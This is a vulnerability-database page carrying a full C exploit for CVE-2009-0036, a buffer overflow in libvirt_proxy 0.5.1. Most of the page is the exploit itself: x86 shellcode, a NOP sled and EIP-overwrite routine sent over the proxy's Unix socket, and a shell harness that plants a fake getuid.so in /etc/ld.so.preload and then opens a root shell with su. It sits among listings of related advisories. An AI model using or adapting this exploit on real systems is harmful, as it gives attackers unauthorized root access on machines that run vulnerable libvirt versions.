Lucene search
K

libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit

🗓️ 28 Apr 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

libvirt_proxy 0.5.1 Local Privilege Escalation Exploit, Buffer overflow in proxyReadClientSocket function

Related
Code
ReporterTitlePublishedViews
Family
0day.today
libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit
27 Apr 200900:00
zdt
Circl
CVE-2009-0036
27 Apr 200900:00
circl
CVE
CVE-2009-0036
11 Feb 200920:00
cve
Cvelist
CVE-2009-0036
11 Feb 200920:00
cvelist
Debian CVE
CVE-2009-0036
11 Feb 200920:00
debiancve
Exploit DB
libvirt_proxy 0.5.1 - Local Privilege Escalation
27 Apr 200900:00
exploitdb
Oracle linux
libvirt security update
19 Mar 200900:00
oraclelinux
EUVD
EUVD-2009-0047
7 Oct 202500:30
euvd
exploitpack
libvirt_proxy 0.5.1 - Local Privilege Escalation
27 Apr 200900:00
exploitpack
Tenable Nessus
MiracleLinux 3 : libvirt-0.3.3-14.1.1AXS3 (AXSA:2009-33:01)
14 Jan 202600:00
nessus
Rows per page

                                                /*
 * cve-2009-0036.c
 *
 * libvirt_proxy &lt;= 0.5.1 Local Privilege Escalation Exploit
 * Jon Oberheide &lt;[email protected]&gt;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036
 *
 *   Buffer overflow in the proxyReadClientSocket function in 
 *   proxy/libvirt_proxy.c in libvirt_proxy 0.5.1 might allow local users to 
 *   gain privileges by sending a portion of the header of a virProxyPacket 
 *   packet, and then sending the remainder of the packet with crafted values 
 *   in the header, related to use of uninitialized memory in a validation 
 *   check.
 *   
 * Usage:
 *
 *   We're guessing to hit our NOP sled, so this program should be run in a 
 *   harness.  Since the shellcode will execute /tmp/run as root, the following
 *   harness will insert a malicious getuid.so payload in /etc/ld.so.preload.
 *
 *   #!/bin/sh
 *   
 *   echo &quot;[+] compiling the exploit&quot;
 *   gcc cve-2009-0036.c -o cve-2009-0036
 *   
 *   echo &quot;[+] creating /tmp/getuid.so&quot;
 *   echo &quot;int getuid(){return 0;}&quot; &gt; /tmp/getuid.c
 *   gcc -shared /tmp/getuid.c -o /tmp/getuid.so
 *   
 *   echo &quot;[+] setting up /tmp/run&quot;
 *   echo -e &quot;#!/bin/sh&quot; &gt; /tmp/run
 *   echo -e &quot;touch /tmp/success&quot; &gt;&gt; /tmp/run
 *   echo -e &quot;echo \&quot;/tmp/getuid.so\&quot; &gt; /etc/ld.so.preload&quot; &gt;&gt; /tmp/run
 *   chmod +x /tmp/run
 *   
 *   echo &quot;[+] starting exploit loop&quot;
 *   i=0
 *   rm -f /tmp/success
 *   while [ ! -e &quot;/tmp/success&quot; ]
 *   do
 *           i=$(($i+1))
 *           echo &quot;RUN NUMBER $i&quot;
 *           ./cve-2009-0036
 *   done
 *   
 *   echo &quot;[+] our getuid.so is now in ld.so.preload&quot;
 *   echo &quot;[+] running su to obtain root shell&quot;
 *   su
 *
 * Notes:
 *
 *   Tested on Gentoo Linux 32-bit with GCC 4.3.3-r2 and randomize_va_space=1.
 *   We have a 4096 byte NOP sled before shellcode and EIP followed by 1000 
 *   NOP/30 byte shellcode bundles until we cause a EFAULT in libvirt_proxy's 
 *   read(2).  Our total sled is usually around 5k-10k NOPs so it'll take 
 *   ~800-1600 tries on average to hit it and execute our shellcode.  Each run
 *   takes ~1 second, so exploitation will probably take 10-20 minutes on
 *   average.
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdint.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;

#define PROXY_PATH &quot;/usr/libexec/libvirt_proxy&quot;
#define PROXY_SOCKET_PATH &quot;/tmp/livirt_proxy_conn&quot;
#define PROXY_PROTO_VERSION 1
#define PROXY_PACKET_LENGTH 0xffff

/* simple shellcode to execute /tmp/run */
const char shellcode[]= 
	&quot;\x31\xdb&quot;
	&quot;\x8d\x43\x17&quot;
	&quot;\x99&quot;
	&quot;\xcd\x80&quot;
	&quot;\x31\xc9&quot;
	&quot;\x51&quot;
	&quot;\x68\x2f\x72\x75\x6e&quot;
	&quot;\x68\x2f\x74\x6d\x70&quot;
	&quot;\x8d\x41\x0b&quot;
	&quot;\x89\xe3&quot;
	&quot;\xcd\x80&quot;;

struct proxy_packet {
	uint16_t version;
	uint16_t command;
	uint16_t serial;
	uint16_t len;
};

int
main(int argc, char **argv)
{
	FILE *fp;
	long ptr;
	int i, fd, pid, ret;
        char *pkt, nop[65536];
	struct sockaddr_un addr;
	struct proxy_packet req;
	struct timeval tv;

	signal(SIGPIPE, SIG_IGN);

	/* guess a random offset to jmp to */
	gettimeofday(&amp;tv, NULL);
	srand((tv.tv_sec ^ tv.tv_usec) ^ getpid());
	ptr = 0xbf000000 + (rand() &amp; 0x00ffffff);

	/* fire up the setuid libvirt_proxy */
	pid = fork();
	if (pid == 0) {
		execl(PROXY_PATH, &quot;libvirt_proxy&quot;, NULL);
	}

	memset(nop, '\x90', sizeof(nop));

	/* connect to libvirt_proxy's AF_UNIX socket */
	fd = socket(PF_UNIX, SOCK_STREAM, 0);
	if (fd &lt; 0) {
		printf(&quot;[-] failed to create unix socket\n&quot;);
		return 1;
	}

	memset(&amp;addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	addr.sun_path[0] = '\0';
	strncpy(&amp;addr.sun_path[1], PROXY_SOCKET_PATH, strlen(PROXY_SOCKET_PATH));

	printf(&quot;[+] connecting to libvirt_proxy\n&quot;);

	if (connect(fd, (struct sockaddr *) &amp;addr, sizeof(addr)) &lt; 0) {
		printf(&quot;[-] cant connect to libvirt_proxy socket\n&quot;);
		return 1;
	}

	/* transmit malicious payload to libvirt_proxy */
	pkt = (char *) &amp;req;
	memset(&amp;req, 0, sizeof(req));
	req.version = PROXY_PROTO_VERSION;
	req.len = PROXY_PACKET_LENGTH;

	printf(&quot;[+] sending initial packet header\n&quot;);
	send(fd, pkt, 7, 0);

	usleep(100000);

	printf(&quot;[+] sending corrupted length value\n&quot;);
	send(fd, pkt + 7, 1, 0);

	printf(&quot;[+] sending primary NOP sled\n&quot;);
	send(fd, nop, 4096, 0);

	printf(&quot;[+] sending primary shellcode\n&quot;);
	send(fd, shellcode, 28, 0);

	printf(&quot;[+] sending EIP overwrite (0x%lx)\n&quot;, ptr);
	send(fd, &amp;ptr, 4, 0);

	usleep(100000);

	printf(&quot;[+] sending secondary NOP/shellcode bundles\n&quot;);
	for (i = 0; i &lt; 100; ++i) {
		send(fd, nop, 1000, 0);
		send(fd, shellcode, 28, 0);
	}
	close(fd);

	usleep(800000);

	/* clean slate if our guessed addr failed */
	kill(pid, SIGKILL);

	return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation